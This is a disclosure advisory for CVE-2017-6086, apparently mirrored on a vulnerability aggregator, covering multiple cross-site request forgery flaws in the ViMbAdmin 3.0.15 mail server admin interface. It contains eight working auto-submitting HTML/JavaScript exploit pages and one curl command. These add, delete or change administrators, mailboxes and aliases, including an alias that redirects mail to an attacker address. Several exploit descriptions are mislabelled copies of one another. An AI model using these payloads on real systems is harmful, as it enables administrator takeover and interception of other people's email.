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ViMbAdmin 3.0.15 Cross Site Request Forgery

🗓️ 05 May 2017 00:00:00Reported by Florian NivetteType 
packetstorm
 packetstorm🔗 packetstormsecurity.com👁 32 Views

ViMbAdmin 3.0.15 Cross Site Request Forgery (CSRF) in ViMbAdmin web-based mail server management interfac

Related
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`# [CVE-2017-6086] Multiple CSRF vulnerabilities in ViMbAdmin version 3.0.15  
  
## Product Description  
  
ViMbAdmin is a web-based interface used to manage a mail server with virtual domains, mailboxes and aliases. It is an open source solution developed by Opensolutions and distributed under the GNU/GPL license version 3. The official web site can be found at http://www.vimbadmin.net and the source code of the application is available on github https://github.com/opensolutions.  
  
## Details  
  
**CVE ID**: CVE-2017-6086  
  
**Access Vector**: remote  
  
**Security Risk**: high  
  
**Vulnerability**: CWE-352  
  
**CVSS Base Score**: 8.8  
  
**CVSS vector**: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H  
  
## Proof of concept  
  
### Add administrator user  
  
#### Exploit  
  
The following html/javascript code allows to delete an administrator user. It needs to be visited by a logged administrator of the targeted ViMbAdmin application.  
  
```html  
<head>  
<title>CSRF ViMbAdmin</title>  
</head>  
<body>  
  
  
<iframe style="display:none" name="csrf-frame"></iframe>  
<form id="csrf-form" action="http://<target ip>/admin/add" method="POST" target="csrf-frame" >  
<input type="text" name="user" value="target@email" >  
<input type="text" name="password" value="newpassword" >  
</form>  
  
  
<script>document.getElementById("csrf-form").submit()</script>  
  
</body>  
  
```  
  
#### Vulnerable code  
  
The vulnerable code is located in the `addAction()` method of the `<vimbadmin directory>/application/controllers/DomainController.php` file.  
  
### Remove administrator user  
  
#### Exploit  
  
The following html/javascript code allows to delete an administrator user. It needs to be visited by a logged administrator of the targeted ViMbAdmin application.  
  
```html  
<head>  
<title>CSRF ViMbAdmin</title>  
</head>  
<body>  
  
  
<iframe style="display:none" name="csrf-frame"></iframe>  
<form id="csrf-form" action="http://<target ip>/admin/purge/aid/<administrator id>" method="GET" target="csrf-frame" >  
</form>  
  
  
<script>document.getElementById("csrf-form").submit()</script>  
  
</body>  
```  
  
#### Vulnerable code  
  
The vulnerable code is located in the `purgeAction()` method of the `<vimbadmin directory>/application/controllers/DomainController.php` file.  
  
### Change administrator password  
  
#### Exploit  
  
The following html/javascript code allows to update administrator password. It needs to be visited by a logged administrator of the targeted ViMbAdmin application.  
  
```html  
<head>  
<title>CSRF ViMbAdmin</title>  
</head>  
<body>  
  
  
<iframe style="display:none" name="csrf-frame"></iframe>  
<form id="csrf-form" action="http://<target ip>/admin/password/aid/<administrator id>" method="POST" target="csrf-frame" >  
<input type="text" name="password" value="newpassword" >  
</form>  
  
  
<script>document.getElementById("csrf-form").submit()</script>  
  
</body>  
```  
  
#### Vulnerable code  
  
The vulnerable code is located in the `passwordAction()` method of the `<vimbadmin directory>/application/controllers/DomainController.php` file.  
  
### Add mailbox address  
  
#### Exploit  
  
The following html/javascript code allows to update administrator password. It needs to be visited by a logged administrator of the targeted ViMbAdmin application.  
  
```html  
<head>  
<title>CSRF ViMbAdmin</title>  
</head>  
<body>  
  
  
<iframe style="display:none" name="csrf-frame"></iframe>  
<form id="csrf-form" action="http://<target ip>/mailbox/add/did/<domain id>" method="POST" target="csrf-frame" >  
<input type="text" name="local_part" value="<fakeemail>" >  
<input type="text" name="domain" value="<domain id>" >  
<input type="text" name="name" value="<fake name>" >  
<input type="text" name="password" value="<password>" >  
<input type="text" name="quota" value="0" >  
<input type="text" name="alt_email" value="" >  
<input type="text" name="cc_welcome_email" value="" >  
</form>  
  
  
<script>document.getElementById("csrf-form").submit()</script>  
  
</body>  
```  
  
#### Vulnerable code  
  
The vulnerable code is located in the `addAction()` method of the `<vimbadmin directory>/application/controllers/MailboxController.php` file.  
  
### Purge mailbox  
  
#### Exploit  
  
The following html/javascript code allows to remove a mailbox address. It needs to be visited by a logged administrator of the targeted ViMbAdmin application.  
  
```html  
<head>  
<title>CSRF ViMbAdmin</title>  
</head>  
<body>  
  
  
<iframe style="display:none" name="csrf-frame"></iframe>  
<form id="csrf-form" action="http://<target ip>/mailbox/purge/mid/<mailbox id>" method="POST" target="csrf-frame" >  
<input type="text" name="data" value="purge" >  
</form>  
  
  
<script>document.getElementById("csrf-form").submit()</script>  
  
</body>  
```  
  
#### Vulnerable code  
  
The vulnerable code is located in the `purgeAction()` method of the `<vimbadmin directory>/application/controllers/MailboxController.php` file.  
  
### Archive mailbox  
  
#### Exploit  
  
The following html/javascript code allows to force the archival of a mailbox address. It needs to be visited by an administrator of the targeted ViMbAdmin application.  
  
```html  
<head>  
<title>CSRF ViMbAdmin</title>  
</head>  
<body>  
  
  
<iframe style="display:none" name="csrf-frame"></iframe>  
<form id="csrf-form" action="http://<target ip>/archive/add/mid/<mailbox id>" method="GET" target="csrf-frame" >  
</form>  
  
  
<script>document.getElementById("csrf-form").submit()</script>  
  
</body>  
```  
  
#### Vulnerable code  
  
The vulnerable code is located in the `addAction()` method of the `<vimbadmin directory>/application/controllers/ArchiveController.php` file.  
  
### Add alias address  
  
#### Exploit  
  
The following html/javascript code allows to force the archival of a mailbox address. It needs to be visited by an administrator of the targeted ViMbAdmin application.  
  
```html  
curl 'http://<ip>/alias/add/did/<domain id>' --data 'local_part=<fake mailbox>&domain=<domain id>&goto%5B%5D=<redirection email address>'  
<head>  
<title>CSRF ViMbAdmin</title>  
</head>  
<body>  
  
  
<iframe style="display:none" name="csrf-frame"></iframe>  
<form id="csrf-form" action="http://<target ip>/alias/add/did/<domain id>" method="POST" target="csrf-frame" >  
<input type="text" name="local_part" value="<fake mailbox>" >  
<input type="text" name="domain" value="<domain id>" >  
<input type="text" name="goto[]" value="<redirection email address>" >  
</form>  
  
  
<script>document.getElementById("csrf-form").submit()</script>  
  
</body>  
```  
  
#### Vulnerable code  
  
The vulnerable code is located in the `addAction()` method of the `<vimbadmin directory>/application/controllers/AliasController.php` file.  
  
### Remove alias address  
  
#### Exploit  
  
The following html/javascript code allows the removal of a alias address. It needs to be visited by a logged administrator of the targeted ViMbAdmin application.  
  
```html  
<head>  
<title>CSRF ViMbAdmin</title>  
</head>  
<body>  
  
  
<iframe style="display:none" name="csrf-frame"></iframe>  
<form id="csrf-form" action="http://<target ip>/alias/delete/alid/<alias id>" method="GET" target="csrf-frame" >  
</form>  
  
  
<script>document.getElementById("csrf-form").submit()</script>  
  
</body>  
```  
  
#### Vulnerable Code  
  
The vulnerable code is located in the `addAction()` method of the `<vimbadmin directory>/application/controllers/AliasController.php` file.  
  
## Affected version  
  
* tested on version 3.0.15  
  
## Timeline (dd/mm/yyyy)  
  
* 22/01/2017 : Initial discovery.  
* 16/02/2017 : First contact with opensolutions.io  
* 16/02/2017 : Advisory sent.  
* 24/02/2017 : Reply from the owner, acknowledging the report and planning to fix the vulnerabilities.  
* 13/03/2017 : Sysdream Labs request for an update.  
* 29/03/2017 : Second request for an update.  
* 29/03/2017 : Reply from the owner stating that he has no time to fix the issues.  
* 03/05/2017 : Full disclosure.  
  
  
## Credits  
  
* Florian NIVETTE, Sysdream (f.nivette -at- sysdream -dot- com)  
  
--   
SYSDREAM Labs <[email protected]>  
  
GPG :  
47D1 E124 C43E F992 2A2E  
1551 8EB4 8CD9 D5B2 59A1  
  
* Website: https://sysdream.com/  
* Twitter: @sysdream  
  
  
`

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05 May 2017 00:00Current
0.5Low risk
Vulners AI Score0.5
EPSS0.00168
vimbadmincross site request forgerycsrfmail serveropen sourcecve-2017-6086vulnerabilityremote accesshigh riskcwe-352gnu/gplgithubopensolutions
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